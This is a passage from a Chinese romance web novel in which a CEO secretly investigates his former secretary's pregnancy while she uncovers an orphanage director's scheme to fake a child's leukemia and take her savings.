林昭顾不上再问,挂了电话马不停蹄开始调查。 一个接一个的电话打出来,率先查出来的,是沈渺怀孕。 沈渺再怎么有心瞒着怀孕的事情。 查她的人是贺忱,都瞒不住的。 “嘶——” “啊?” “这……” 林昭一连张了三次嘴,却凑不齐一句完整的话。 沈渺怀孕了? 难怪,她回来之后再没喝过咖啡,最近更是连穿衣风格都变了。 几次陪贺忱应酬,她都找机会推脱没有喝酒。 怀的谁的? 一个念头涌入林昭脑海,他倒吸一口凉气,抽得自己翻了白眼! “查,查沈秘书的孕检报告,弄清楚她怀了多久!” 顺藤摸瓜,不出五分钟,沈渺的电子孕检档案就别发到了林昭邮箱。 林昭看了一眼,面如死灰,瘫倒在椅子上! 那时间,不就是贺忱醉酒后意外的那一晚吗!? 他毛骨悚然,如坐针毡。 如此惊天的一个大秘密,他这个‘小人物’,怎么配知道啊! 正胆战心惊着时,内线被打通。 贺忱的声音传来,“进来。” 林昭大气不敢喘,使劲吞了吞口水。 他站在原地犹豫了几秒,如壮士赴战场般,朝贺忱办公室走去。 偌大的办公室,清一色的深色系装修彰显贵气。 今天比以往多了一层压抑感。 林昭一进来,就察觉到了。 坐在电脑桌前的男人倚着靠背,白色衬衫松散凌乱。 他眉头拧着,指缝里夹着的烟缓慢燃着。 烟灰缸里,几根烟蒂丢在那儿,还冒着些许烟雾。 看到林昭进来,他将烟灰掸掉,嗓音有几分嘶哑凝重,“说。” “沈秘书在分公司一直挺顺利的,跟公司的各位高层以及……” “说重点。” 贺忱不耐烦的打断。 “沈秘书怀孕了,二十二周。”林昭一鼓作气说。 办公室一下静下来,落针可闻。 贺忱将烟蒂插在烟灰缸,随即又拿过烟盒,取了一根烟咬在嘴里。 他点火时,火光颤抖,映在他眼底,灼的眼神都闪烁了下。 深吸一口烟,他嗓音更加低沉,“谁的。” 林昭低着头,眼观鼻鼻观心,心中有数却根本—— “查,查清楚这个孩子是谁的!” 贺忱额头的青筋隐隐可见。 林昭下意识说,“贺总,沈秘书已经跟您离婚了,她怀孕生子是正常的事情,没必……” 不等他的话说完,贺忱鹰隼般锐利的眼眸射过来。 他顿时噤声。 “确实该彻查,她身为您的左右手,怀孕如此大的事情居然不上报,没把您这个上司放在心上!” 缓了缓,林昭掷地有声,一脸坚定。 “三天内,查不到她肚子里的孩子是谁的,你滚出百荣。” 林昭跟了贺忱这么久,还是第一次看到贺忱这么黑白不分。 可见,贺忱多么地想弄清楚,沈渺怀的是谁的孩子。 他走出贺忱办公室,心里沉甸甸地往自己办公室走。 就算他不知道那晚贺忱跟沈渺睡了。 这事儿也禁不住查,到头来他还是要如实跟贺忱汇报。 但要怎么说,说出来的后果,林昭要好好思考一下…… —— 初夏,京北的气温二十五度,明明很热,可沈渺莫名觉得背脊发寒。 餐厅包厢里的门紧关着,商商的咿咿呀呀声此起彼伏。 沈渺将空调温度调高了些。 没等她放下遥控器,商音就把手伸过来,覆在她额头。 “你怎么了?不舒服啊?” “算不上,就是感觉有些怪怪的。”沈渺拿开她的手,“心理作用。” 刚刚那看错了的身影之后,她就一直感觉很怪了。 商音往她碗里夹菜,“赶紧吃,吃完了回家休息一下,可能是累着了,大半天都没闲着了。” 沈渺颔首,拿起筷子继续吃。 两人刚吃饱,没等走呢,沈渺的手机就响了。 是浅姨打来的电话。 “沈渺,你们快来医院,卷卷的骨髓有着落了!” 等骨髓移植是可遇不可求的,有些人几年也等不来。 卷卷等的时间不久,事情算顺利的。 商音让月嫂打车带商商回家,她则是跟沈渺去医院。 下午的医院人不多,她们到的时候,卷卷已经办理好住院了。 但病房里只有卷卷一个人,浅姨不在。 “渺渺姐姐,你们来了!”卷卷看起来精神头不错,笑着说,“浅姨去厕所了。” 卷卷刚说完,病房里响起手机铃声。 是浅姨的手机,放在病床头的柜子上。 洗手间突然一阵细琐的杂乱后,门被突然打开,浅姨冲出来直奔床头,拿过手机挂了电话。 浅姨,一脸心虚和心惊胆战。 132.希望沈小姐将来别记恨我 她出来的急而且不管不顾,直接撞了沈渺。 幸好商音挡在沈渺另外一边,不然沈渺就撞在墙上了。 “你干什么!?” 商音扶着沈渺,急了眼,“着急忙慌的,干什么亏心事了啊?” “我……”浅姨把手机揣口袋里,“我以为是医生打来的,怕错过了。” 沈渺被商音扶了一把,堪堪稳住身形,面色不由得沉下来。 “这么快就安排住院了,医生那边怎么说?什么时候能安排手术?” 一连几个问题,令浅姨的慌乱更甚了几分。 她弯腰给卷卷盖被子,“还不知道呢,等医生消息呢,主要是咱也没交钱呢,手术费还缺二十万呢。” “还缺二十万?”商音声音尖锐,“怎么比预估的多这么多?” 浅姨刚给卷卷盖好被子,卷卷就推开了,嚷嚷了一句‘热’。 浅姨瞪她一眼,连带着语气也变得不好。 “谁让她年纪太小呢,医生说小孩子做手术难度大,危险系数高,要请有名的医生来给做,人是你们非要救的,她这条命可值钱了……” “行了。”商音打断道,“又不用你掏钱,废话少说!” 浅姨动了动嘴唇,不再说话。 沈渺走到病床前,跟卷卷漆黑的眼睛对上。 许是她还小,不理解生死意味着什么。 所以她的眼神干净清脆,充满了生命的活力。 浅姨找了个借口离开了,神神秘秘的。 沈渺和商音陪着卷卷玩了会儿。 “渺渺姐姐,音音姐姐,我的病是不是要花很多钱?” 卷卷眼睛一眨一眨地看着她们。 商音摸了摸她的头,“放心吧,我们能赚钱,你安心养着,养得白白胖胖的,钱不白花就行了。” “如果治不好,就不好浪费钱了。” 卷卷声音脆脆的。 说出来的话,让沈渺和商音的心‘咯噔咯噔’的直抽痛。 “是不是浅姨又跟你说什么了?” 商音弯腰,捏着卷卷的小脸蛋,“你老实说,她是不是趁着我们不在,对你不好?” 卷卷犹豫了下,先点头又赶紧摇头。 “也不完全是,她有时候会冲我发脾气,有时候还会抱抱我,说我是她的摇钱树。” 摇钱树?商音不解地看向沈渺。 “你先陪着卷卷,我出去看看。” 沈渺给商音使眼色,末了她转身离开病房。 VIP病房区环境优雅安静。 她出来后站在门口静了几秒,朝着依稀传来声音的方向走去。 离着楼道越近,那声音就越清晰。 “你之前不是这样说的,那些钱我有分配权,你……” 浅姨的声音传来。 沈渺的脚步声顿住,她看着敞开一条缝隙的楼道。 没等她再听里面传来声音,电话就挂断了。 浅姨拉着一张脸,从楼道出来,气冲冲像是要去找什么人算账。 只是刚出来,就对上了沈渺的目光。 “你,你怎么在这里?” “你在给谁打电话。”沈渺打量着她。 浅姨把手机放到口袋里,眼皮跳了两下。 她吞了下口水,又理直气壮起来,“我当然是给卷卷筹钱了,你们两个那边凑一凑还差多少?剩下的我来想办法。” 沈渺沉吟片刻道,“我们所有的钱都给你了,现在手头没钱了。” “不可能。”浅姨想都不想就说,“你前几天不是还拿了一笔奖金呢?” 她竟是连沈渺拿了一笔奖金的事情都知道。 “钱没了还能再赚,可是命没了就真没了!” 浅姨敲打着她,“你自己好好想想吧,跟商音你俩尽快把二十万打过来。” 说完浅姨离开,步履匆匆。 沈渺双手揣兜,她盯着浅姨离开的背影。 浅姨进入病房,她收回目光,在原地顿了几秒,抬脚朝护士站走去。 “您好,请问林卷卷的主治医生是哪位?” 护士帮她查了一下,“是刘大夫。” 沈渺点了下头,道谢后朝刘大夫的诊室走去。 刘大夫是京北医院如今最年轻的医生,资历浅没有任何的手术经验。 沈渺到了刘医生的诊室门口,看到了他的全名,去网上搜了一下。 这个医生三年前毕业,一直做助医了。 上个月刚成为一名医生,按理说还不能作为主治医生进行手术。 可他居然成为了浅浅的主治医生。 “沈小姐。” 一道熟悉的声音传来。 沈渺回过头。 秦川穿着白大褂,双手揣在兜里,站在拐角处。 “秦医生。”沈渺眉头不由一蹙,“你不是说这几天都不会来医院吗。” “突发情况,被喊回来处理。” 秦川朝她走过来,见她停在刘医生诊室门口,脸色不太好,问道,“需要我帮忙吗。” 沈渺摇头,又想到什么似的说,“你对白血病,了解多少?” “虽然不是一个科室,但也了解,你想咨询什么。” 秦川看了看时间,“我刚处理完一个紧急工作,有点时间,去我办公室?” 沈渺跟他不熟。 至少她觉得,没有到他能好心腾出时间,专门为她解决疑难杂症的地步。 可浅姨那边实在怪异,她顾不上那么多。 “好。” 沈渺跟着秦川去了他诊室。 门关上,隔绝开外面的嘈杂。 秦川倒了一杯温水给她,“对方是你的什么人。” 沈渺道谢,“谢谢,是孤儿院的一个孩子,她前段时间被确诊白血病,今天有了合适的骨髓。” “这么快。”秦川微微拧了下眉,“当然,也有运气好的会在很短的时间内找到匹配的骨髓,你有什么疑问吗?” “刚刚那个刘医生,是她的主治医生,我看刘医生资历很浅,按理说不应该做医生。” 沈渺条理清晰地分析着。 “还有,手术费比之前那个医生预估的高出二十万,之前那个医生给卷卷用的药就比其他医生预估的高出很多。” 冷静下来,她发现了很多不合理的地方。 尤其是医药费上。 秦川沉吟片刻道,“我来这儿时间不久,对刘医生不熟,我帮你打听一下,明天给你答复。至于医药费的事情,我可以明确地告诉你,费用跟初期预估会有出入但绝对没有这么多,我可以再帮你查一查账单。” “谢谢秦医生。”沈渺站起来,“以后有机会一定还您这个人情。” 秦川站起来,垂着眼皮道了句,“还就不必了,只希望沈小姐将来别记恨我。” 133.让她直接来找我 “你说什么?” 秦川的声音太小。 沈渺已经开了半个办公室的门,门外嘈杂的声音传来,她没听清楚。 秦川站起来,客气一笑,“没什么,慢走。” 沈渺并未多想。 秦川这人确实有些奇怪。 但事情迫在眉睫,等她离开京北这层关系就断了。 也不用忌惮秦川认识贺忱。 所以沈渺不想那么多,朝秦川颔首后离开。 她前脚走,后脚秦川就拨通了贺忱的电话。 “体检报告弄好发你邮箱了。” 那端贺忱的声音有些低哑,明显听出不高涨的兴致。 “知道了。” “你在医院认识的有人吗。” 秦川又问。 贺忱,“你给林昭打电话,让他给你安排。” 他连问都不问,秦川要干什么。 “也行,林昭应该知道,沈小姐孤儿院那个小姑娘叫什么名字,省得我再去打听。” 秦川意有所指。 他说完,电话那端陷入一片死寂。 “没别的事了,我挂了。” 秦川嘴上这么说,却没有挂电话的意思。 贺忱忙不迭开口,“你要查什么。” “沈小姐把她这么多年的积蓄,都给孤儿院的小孩治病了,但是医药费高得离谱,我想是医院坑她钱了。” 秦川言简意赅,末了又说,“毕竟是你秘书,我主动说给她查查。” 但是秦川这些年一直在国外,国内没朋友。 秦家的势力,他指望不上,只能求助贺忱。 “没有金刚钻,就别揽瓷器活儿。” 贺忱语气明显听出不悦。 秦川,“你是不想让我管沈小姐吗?” “我的意思是,下次你让她直接来找我。” 贺忱指了一条明路。 秦川眉尾轻挑起,“现在也不晚,等她来找我,我让她去找你。” “挂了。”贺忱挂断电话,指腹轻轻摩擦着手机屏幕。 他记得,沈渺提了不止一次的离职。 可后来真放她走的时候,她却留下了。 是因为身上没钱了,全都给那孩子治病了。 就算还没展开调查,不过转瞬贺忱已经猜出些许。 如今,他唯一猜不透的就是沈渺为什么要瞒着他怀孕的事情。 隐隐中,他总觉得事情跟自己有关系。 可说不通。 卷卷生病的事情,更好调查。 林昭只用了十分钟,就把卷卷的病历拿到手,送到贺忱办公室了。 “这病历看起来没问题,不过我找人查过了,这个孩子用药剂量不对,而且医药费也确实高得离谱,还在原有的基础上又加了二十万。” 贺忱撇一眼病历,然后又看向他。 “怎么回事。” 林昭:“……” 他只是查到了卷卷的病,和不对劲的地方。 其他的,还没来得及调查。 “让你查个事情,拖拖拉拉到现在都还没查出来,不想干了?” 突如其来的指责,让林昭的背脊一凉。 距离贺忱让他调查沈渺腹中孩子是谁的,已经过去好几个小时了。 但看贺忱的脸色,好像过去了好几天,他无能至今没查出来一样。 “我这就去查。” 林昭强忍着没有直接告诉贺忱,沈渺怀的极有可能是他的孩子的冲动。 他到底还是忍住了。 半小时后,林昭再次回来。 “贺总,查清楚了,那个孩子的病历是伪造的,沈秘书打到医院的那些钱都流到孤儿院院长的账户,我猜院长是利用那孩子,骗了沈秘书的钱。” 这事儿,无论如何也不想一个孤儿院院长干得出来的。 说完林昭又添一句,“还有沈秘书的朋友,商音,也把自己掏空了。” “现在什么情况?”贺忱眉骨一拢。 他见过浅姨一次。 那天周末,沈渺利用假期去孤儿院帮忙。 回来时下起大雨,她的车坏了,为了不耽误第二天上班,她给他打了电话。 那是他们结婚后,她因为私事,第一次主动给他打电话求助。 贺忱开车去接她,浅姨撑着伞把沈渺送出来。 雨势很大,沈渺的裤子被打湿紧紧沾在那两条笔直且很细的腿上。 他当时的注意力都在沈渺身上。 可还是能察觉到,浅姨打量了他很久。 那打量的目光,很令人不适。 “现在,孤儿院院长说手术费要增加二十万,让沈秘书跟商小姐拿钱,沈秘书也察觉到不对了,所以到现在还僵着。” 贺忱目光郁郁。 他知道,沈渺每个月都会给孤儿院打钱,供孤儿院的孩子们开销。 孩子们确实可怜,但那个院长像吸血鬼一样,实在令人反感。 他几次听到沈渺接电话,都是她没按时打钱,被追着要钱。 “盯着点,有任何动向立刻向我汇报。” 林昭颔首,不敢多言。 他生怕贺忱又问沈渺肚子里的孩子是谁的,查得如何。 办公室安静下来。 贺忱的眼皮从早上跳到现在,跳得他心里乱糟糟的。 他抬手摁了摁眼皮,胸腔那颗始终沉稳缓慢跳动的心脏,也呼应般的跳动加快着。 一个上午,他一份文件也没处理,大脑一片空白。 他控制不住的在想,沈渺怀的,到底是谁的孩子。 —— 浅姨说,骨髓不等人。 她催沈渺和商音缴医药费。 回家的路上,商音已经在核算家底了。 “这几天我直播赚了一些钱,但离着二十万还有一截,渺儿,你那里还有多少?” 沈渺没回话,她在想浅姨那通电话。 “渺儿?” 商音没得到她回应,拔高一些音量又喊了她一遍。 沈渺开了口,“我们凑凑,应该够。” “你……是不是担心以后没钱养孩子?” 商音迟疑片刻问,问完了她又立马保证,“我们虽然兜比脸干净,但你放心,有我在就不会饿着你们娘俩,我以后每天加播一场……” 她以为,沈渺不愿意掏这笔钱了。 “音音,你一场直播再带孩子,就已经够辛苦了,我不能把全部的压力都放在你一个人身上。” 沈渺这几天跟商音住,她是看得到商音多辛苦的。 再加播,占据的是商音休息的时间。 “医药费的事情先不急,音音,我要先确定一件事情,在那之前不要给浅姨打钱。” 商音脸色一凝,像是意识到什么,“你不会是想管贺忱借钱吧?” 134.又让他失了神。 看商音面色凝重,投来的目光充满了智慧。 沈渺还以为,她猜到了。 结果没想到—— “如果这钱不用再给卷卷交医药费了,听我的,剩下的你拿去医院看看脑子。” 沈渺不再看她,怕被她那智慧的眼神,气坏了。 商音想,自己一定是开着车,脑子不灵光了,才没有get到沈渺的意思。 “你说,你快说……” 她磨了沈渺一路,沈渺也没说。 因为沈渺目前,只是猜测。 浅姨这人,有些复杂。 尖酸刻薄性子也不讨喜,偏偏她这些年为了孤儿院任劳任怨,付出了太多。 万一她误会了什么,寒人心。 一直到晚上,沈渺也没接到秦川的回复。 她沉不住气,给秦川发了微信。 秦川回消息很快:【我刚回京北,认识的人不多,贺忱答应帮忙了,你可以直接联系他。】 沈渺宕机。 最近除了调职的事情,她跟贺忱从未联系过。 不再是每天见面的上下司,他们的关系也显得疏远了许多。 直接打电话问这件事,总感觉局促。 可沈渺还是硬着头皮打了这通电话。 电话响到快挂断时,才被接起。 听声音,贺忱在忙,“说。” “贺总,我是为卷卷的事情来的,就是秦医生请您帮忙的事情。” 沈渺声音轻轻的。 “林昭查到了些东西,明天上午你来公司拿。” 贺忱声音淡淡的,透着事外人的漠然。 他忙得日理万机,调查这些小事可谓是杀鸡用了宰牛刀。 估计是不高兴了? 反正沈渺从他语气里听出了不高兴的成分。 “麻烦您了。” 沈渺以一句客气语,结束了通话。 她的声音在安静的夜晚,十分清晰,落入贺忱的耳中。 被挂断电话的手机屏幕暗下来,贺忱棱角分明的脸倒映在上面。 他狭长的眸子微微眯起着,放下手机,看向会议室一群大眼瞪小眼的高层。 “会议继续。”他吐出四个字。 逼仄的会议室恢复如常,公关部经理继续做汇报。 这会议原本是下午就该开的,可是贺忱实在没状态,拖到了这个点。 眼看好不容易有了状态,进入会议,一通电话,又让他失了神。 贺忱不知道自己在想什么,只知道自己的注意力无法集中。 会议结束时,已经是深夜十一点。 他在办公室休息室歇下,洗了澡上床,就听手机响了一声。 秦川发来的消息:【沈秘书给你打电话了?】 他回:【嗯。】 回完,他又想起程唯怡的体检。 退出聊天界面,他找到秦川师父的电话,拨出去。 秦川的师父刚来国内没几天,生物钟还没调过来,这个点儿还精神抖擞着。 他操着国外的腔调说着还算流利的中文,中气十足地说,“贺,你在跟我开玩笑?你未婚妻的身体就算神仙来了也治不好,秦那小子耍你呢?这么明显没得治的病,白折腾了。” “劳烦您跑这一趟,回头我找他算账。” 贺忱嗓音沉入死水,他又开口,“我让人安排您回去。” 说罢,他挂了电话,又重新给秦川拨过去。 秦川接得很快,没等应声,就迎来的他劈头盖脸的质问。 “你最好给我一个解释。” 他们兄弟多年,贺忱没说是什么事情,秦川就知道他指的是哪件事。 “就是想知道,你到底爱不爱程唯怡。” 贺忱愣是被气笑了,“那你现在知道了吗?” 秦川,“知道了。” “你给老子等着,哪天落我手里,我让你好看。” 贺忱挂了电话。 粗狂的话难以消泄他心头翻江倒海的情绪。 手机屏幕熄了,休息室彻底暗下来。 半敞的窗帘映进来霓虹灯,室内轮廓勉强可见。 贺忱翻来覆去,怎么也睡不着。 天还未亮,他就起来一番整顿,坐在办公桌前,等着沈渺来。 快八点钟的时候,贺忱的手机响了。 是贺老夫人打来的电话。 “上次跟你说的事情,你考虑得怎么样了?” 贺老夫人指的是,撮合沈渺跟何之洲的事情。 贺忱,“她的事情您就别操心了。” 说完,他又添了句,“也轮不到我操心。” “你当时答应得好好的,怎么突然变卦?”贺老夫人不高兴,“算了,我去找你爸办这事儿。” 不等贺忱再说什么,贺老夫人挂了电话。 她怎么就那么认定,沈渺跟何之洲有什么? 贺忱拿出沈渺调职的计划表,看到几个离京北要多远有多远的分公司,被排在前面。 他想,是该跟沈渺好好谈谈了。 从沈渺隐瞒怀孕,到她辞职原因。 再到她现在挑了离京北最远的分公司。 还有,年前那晚她用商音的孩子发朋友圈,目的到底是什么? 一个接一个说不通的地方,堵得贺忱一上午都心情不好。 快十一点时,林昭敲响办公室门,进来。 “贺总,程小姐来了,说给您送午餐。” 贺忱头也不抬,“告诉她我在忙。” 林昭颔首,“是。” 他转身往外走。 贺忱喊住他,“沈渺没来吗?” “来了,她……让我把东西放在前台,估计这会儿已经拿走了吧。” 昨晚电话中,贺忱说的是林昭查到东西了。 所以沈渺直接给林昭打的电话。 “已经拿走了?”贺忱豁然起身,“你把人给我找回来!” 林昭一激灵,心底大为不妙,“……是。” —— 沈渺给林昭打电话的时候,觉得林昭的声音不太对。 说话吞吞吐吐的。 她以为林昭很忙,所以让林昭把东西放在前台去拿。 省去见面寒暄这一步,免得耽误林昭工作。 谁知她拿了东西,还没拆开看时,林昭就给她打回电话来了。 “沈秘书,你走了吗?” “我在拐角街,等车。”沈渺报了自己位置,“东西我已经拿到了,谢谢你。” 林昭,“这儿还落下了个东西,你赶紧回来拿!” 沈渺低头看了看牛皮纸袋,是密封状态。 可林昭都这么说了,她只好取消网约车,又回公司。 她再让林昭把东西送到前台,林昭告诉她上楼拿。 她还没离职,前台让她上去了。 一出电梯门,她就看到林昭站在贺忱的办公室门口。 办公室的门大敞四开,男人接电话时低沉富有磁性的声音传出来。 135.可他还是不敢相信 不知为什么,听到贺忱的声音,沈渺心头有些虚虚的。 她快而轻地走到办公室门口,低声跟林昭说,“林助,东西给我……” “贺总,沈秘书来了!” 林昭的心情也是复杂的。 沈渺出现后,他就一直盯着沈渺看。 果不其然,小腹微微隆起。 只怕不知道的人,还看不出她怀孕了。 他可不愿意掺和这趟浑水,拉着沈渺进入办公室,高声打断贺忱正在接电话。 然后,他松开沈渺转身就跑了。 大敞四开的办公室门被关上,而且管得严严实实。 事发突然,沈渺来不及反应。 只觉得再回了神时,贺忱就已经在她面前了。 男人眼皮轻掀,深邃莫测的眼神朝她投来。 具有穿透性的目光,仿佛把她看透了,将她从头打量到脚。 尤其,在她小腹处,深深看了两眼。 “贺,总,抱歉打扰了。” 她忍不住结巴了,那股不想看到贺忱的情绪一下涌上来,写在脸上。 贺忱不说话,朝她投来的眼神却是寸寸深。 像是要把沈渺看出一个洞,将她想隐瞒的事情,全都摆到明面上来! 沈渺深吸一口气。 “我是来找林助的,就不打扰您了。” 她转身往外走。 “站住。” 男人挂了电话,电话那端人喋喋不休的声音一下没了。 他放下手机,起身绕过办公桌,坐靠在桌子上,继续打量她。 乍一看,沈渺跟以前没什么区别。 可细看,她的腰臀比例更加丰腴。 以前一手可握的腰肢确实粗了些,可是与暴增的三围比起来,依旧显得腰线优美。 她怀孕了。 人就站在面前,贺忱也能看出端倪了,可他还是不敢相信。 怀的谁的? 这个疑问,从昨天到今天,一直浮在他脑海里,从未消失过。 说不上心头什么滋味,统称为——难受。 贺忱竟然是难受的。 他轻抿着嘴唇,眉头拧得一寸比一寸什深。 “抱歉,不该因为私事麻烦您,如果我知道秦医生会找您帮忙,我不会求他。” 沈渺以为,贺忱是因为让他帮忙,而生气。 她转过头来,态度毕恭毕敬。 装得这么像。 贺忱盯着她,没有一点瑕疵的脸上,没有分毫的心虚。 她坦然自若地站在那里,说谎时脸不红心不跳。 不……她没说谎。 她压根就没提过怀孕的事情,只是在穿着打扮上用了些心思去隐瞒。 怀孕这件事,她是没有必要告诉贺忱的。 贺忱越想心里越杂乱。 他转过身拿过桌子上的烟,刚放在嘴里,又想起什么似的,把点燃的火儿灭了。 “调职的事情,你选的几个地方都不行,重新选。” 沈渺也拧了眉,“这几个分公司近几年都不稳定,非常需要一个有能力的人过去长期稳定管理。” 长期,稳定管理。 这意思是,沈渺走了就不打算回来。 “重新选。”贺忱薄唇溢出三个字。 不容置疑,而且面色严肃凝重,像是沈渺去这几个地方,是犯了滔天大错。 沈渺静默数秒,颔首道,“那贺总给几个建议吧。” 现在缺人的分公司不少,贺忱选几个地方,她挑个最远的。 先离开京北再说。 “等我选好通知你。” 贺忱冷声道。 沈渺只能答应,“好。” 她说完,不见贺忱再有下文,便又说一句,“没别的事情,我就先走了。” 贺忱喊她来,根本就不是为了调职的事情。 她所谓的‘别的事情’,他还没问。 可话卡在贺忱嗓子眼里,怎么也说不出口。 他看着沈渺一步步离开办公室。 办公室的门合上了,看不到她了。 贺忱将嘴上的烟拿下来,搓成一团,烟叶散落掉在他的裤脚和鞋子上。 好一会儿,贺忱将挫烂的烟丢入垃圾桶里,用了十足的力气。 办公室外,沈渺出来后,又忍不住回头看了眼紧闭的大门。 她有一种贺忱想追出来的错觉。 跟了贺忱这么久,贺忱有心事她是看得出来的。 或许是调职,赶上他跟程唯怡的婚期临近,事情比较多。 沈渺顿了几秒,就去了林昭办公室,要落下的东西。 她敲响林昭办公室门,推开进去,就看到林昭哆嗦着从工位前站起来。 “沈……沈秘书,聊完了?” 沈渺走进来,“聊什么?” 就聊你怀孕的事儿啊! 林昭差点脱口而出,可定睛打量,沈渺面色平静。 没有被戳穿怀孕的慌张。 “贺总刚说,找你有事。”他试探地问。 沈渺回忆了下跟贺忱的对话。 他们谈了调职的事情,确实算‘事’。 “聊完了,你把东西给我吧。” 林昭,“什么东西?” 沈渺晃了晃牛皮纸袋,“你不是说落了东西吗?” “没落,都在里面了。”林昭早已忘了,他喊沈渺回来的理由是什么。 要说刚刚的贺忱有些怪怪的。 那现在的林昭更怪。 “那我走了。” 沈渺转身离开,走出林昭办公室遇上了几个小秘书,她笑着打了声招呼,离开公司。 等网约车时,她打开牛皮纸袋。 经林昭调查,卷卷的身体各项指标虽然指向白血病,可是有一部分数据跟她这个年纪不符。 至于医药费和手术费,都跟实际消费有很大出入。 林昭只负责调查到这一步,没有深入调查。 沈渺把东西装回牛皮纸袋里,她面色前所未有地难看。 她以为,浅姨想趁着卷卷生病,多薅一笔钱。 因为怕她和商音离开京北,断了孤儿院的供给。 如今看来,很可能连卷卷的病,都是假的! 沈渺更改了打车地点,去了医院。 VIP病房。 病房门紧闭着,隔着窗户能看到浅姨坐在沙发上,敲着二郎腿玩儿着手机。 她手里还拿着一个苹果,吃得津津有味。 沈渺推门而入的一瞬间,浅姨迅速放下手机,起身走到卷卷病床旁边。 她动作快的沈渺只捕捉到一抹残影。 等看清楚时,浅姨已经站在卷卷病床旁边,而那啃了一半的苹果,在卷卷手里。 卷卷脸上一闪而过的迷茫,被浅姨轻拍了下后背打断。 浅姨说,“别愣神,赶紧吃完,吃这个对身体好。” 136.你愿意喜当爹吗? 这样的事情,浅姨不知道干了多少次了。 卷卷很快回过神来,大口大口地吃苹果。 “你出来,我有事找你。” 沈渺那双清可见底的眼眸,蕴着一层薄怒。 浅姨被她看得,心里‘咯噔’一声。 沈渺先出了病房,她在长廊尽头等着浅姨。 等了好一会儿,浅姨才出来。 “什么事儿不能在病房里说啊?卷卷一个人在病房,我不放心。” 浅姨听似责怪的语气里,夹杂着浓烈的不安。 毕竟,她干了亏心事! 沈渺直接把牛皮纸袋交给她,看都不看她一眼。 “给我一个解释。” “什么解释不解释的?”浅姨拒收了牛皮纸袋,她直接把东西推回到那儿,“你有事儿直接说。” 沈渺的手垂下来,她冷眼看着浅姨。 “要么你看了给我一个解释,要么我把这些东西交到警察局里去。” “哎,你!” 浅姨一声惊呼,一把将牛皮纸袋抢过去。 她打开了牛皮纸袋,只看了一眼,呼吸都变得急促,心虚更明显了。 “这都什么啊?我怎么看不懂?” “钱呢?”沈渺不予理会她的装傻充愣。 眼看瞒不过去,浅姨破罐子破摔,“是,卷卷没生病,我这么做还不是为了你和商音好,你们两个在京北有这么好的前途和发展,为什么非要离开?” “孤儿院这么一大家子,都指望着你们养……” “这些年我和商音赚的大部分的钱,都被你拿走了,我们还给孤儿院的恩情大于孤儿院对我们的养育之恩!” 沈渺打断她,“我们有自己的生活,自己的计划,我们答应过了不会断了给孤儿院的供给,你这样做寒了我们的心不说,卷卷她才几岁!?这样对她的心里造成多大的伤害!” 浅姨的尖酸刻薄,沈渺看在眼里,很少计较。 她念及这些年,浅姨打理孤儿院不容易。 就算人再不好,可她照顾这么多孩子,没有功劳也有苦劳,能忍就忍了。 可这次不一样。 就算她不需要这笔钱离开京北,去养孩子。 浅姨的行为,也触及了她的底线。 “你们有什么计划?她生个孩子你也生?孤儿院这些没爹没妈的孩子不够可怜吗?你们两个是糊涂了!” 事情已经戳破,浅姨的心虚演变成蛮横不讲理。 “她是试管怀上的,你呢?怀的哪个野男人的?沈渺,我一直觉得你是拎得清的,没她那么冲动,谁知道你也感情用事!是被渣男抛弃了还是忍气吞声想把孩子生下来,挽留人家?感情狗屁都不是……” 浅姨毕竟是看着沈渺跟商音长大的。 商音开放大胆,没有男人搞试管,做冲在时尚前沿的新时代女性。 沈渺不一样,她性子安稳成熟,干不出那种事情来。 所以浅姨断定,她是有过男人,怀上的这个孩子。 可她要跟商音一起离开景别,足以见得沈渺跟那男人掰了。 她于心不忍,留下这个孩子。 “这是我的事情。” 沈渺冷眼看着她,下最后通牒,“我给你三天的时间,让卷卷回到学校上学,把我和商音的钱还回来。” 她将牛皮纸袋交给了浅姨,“这只是复印件,证据全都在我手里,你若不按我说的办,这些东西将会作为证据,上交法院。” 沈渺心里对浅姨的最后一丝包容和好感,在此刻殆尽。 她转身离开。 浅姨追上她,“不是,沈渺,那二十万我不要了还不行吗?之前的钱就留给孩子们……” 沈渺进入电梯,电梯门合上。 浅姨没敢进来,她的话被电梯门隔绝开,那副无耻的样子,也被隔开。 隔开后,浅姨看似知道错了的脸色,也一瞬间变了。 她拿出手机拨出一通电话去,“坏了,沈渺知道了,你可得帮帮我……” “谁让你贪心,又要二十万呢?” 那端传来声音道,“事情你自己解决,我不管。” “你,你不管我就把你供出来……” 浅姨威胁道。 那端静了几秒,传来对浅姨祖上的问候。 骂了两句,那人才说,“我他妈怎么管?” “沈渺要告我,你帮我摆平。” “你活该,有本事你就把我供出来,反正我也不怕跟沈渺翻脸!” 浅姨的威胁,在那端人眼里,根本没有一丝的作用。 电话被挂断,浅姨面如死灰。 —— 电梯上了人,沈渺被挤到角落。 而后还在不断上人,人越来越挤。 她双手护着肚子,原本心神不宁的,愣是被挤得回了神。 “没事吧?” 头顶突然灌下来一道声音。 她抬头看去,才发现站在她前面的人,是张科研。 张科研替她挡住了左边的人。 “谢谢,没事。”沈渺强行打起精神来,扯出一个笑容,“好久不见。” “知道你最近事情多,所以我没有打扰你。” 张科研早晚问候的消息,停了一段时间了。 沈渺跟何之洲的绯闻传出来后,被停职,面临被开除,又变成调职。 这些张科研都知道,他是听吴蕾说的。 “你……要被调职了吗?去哪里?” 沈渺摇头,“还不知道,但肯定不在京北。” 张科研欲言又止。 电梯门开了,人一哄而散。 沈渺跟张科研先后走出电梯,一同朝医院外面走去。 走出医院,那股令人不适的窒息感褪去一些。 可沈渺心情还是很不好,她掏出手机叫网约车。 “沈渺,我对异地恋也能接受。” 张科研一直在她不远不近处跟着。 见她停下来,找到机会再度开口。 沈渺眼皮一掀,毫不犹豫道,“可我介意。” 张科研:“……” “我觉得我已经跟你说得很清楚的,你别在我身上浪费时间了。” 沈渺没心情跟他扯这些。 她又低下头继续叫车。 张科研,“我不觉得这是浪费时间,我愿意为了一段我认为值得的感情付出时间和精力,我也愿意……” “你愿意喜当爹吗?” 沈渺耐心被耗尽,她抬起手覆在小腹上,将松垮的衣服贴合到肚子上。 凸起的轮廓一下就显形了。 张科研瞳仁一颤。 137.背着我干什么事儿了? “你……有男朋友?” 张科研面露不解。 若沈渺真的有男朋友或老公,怎么会相亲? 她应该在他第一天决定追求她的时候,就告诉他。 沈渺语塞。 她没能第一时间回答上来张科研的话。 张科研迟疑片刻,面色恢复如常,“抱歉,没给你带来什么麻烦吧?” 他指的是他这段时间早晚的消息问候,还有公司那些传闻。 有没有被她肚子里孩子的爸爸知道。 “不好意思,冒昧了一下。”沈渺微颔首。 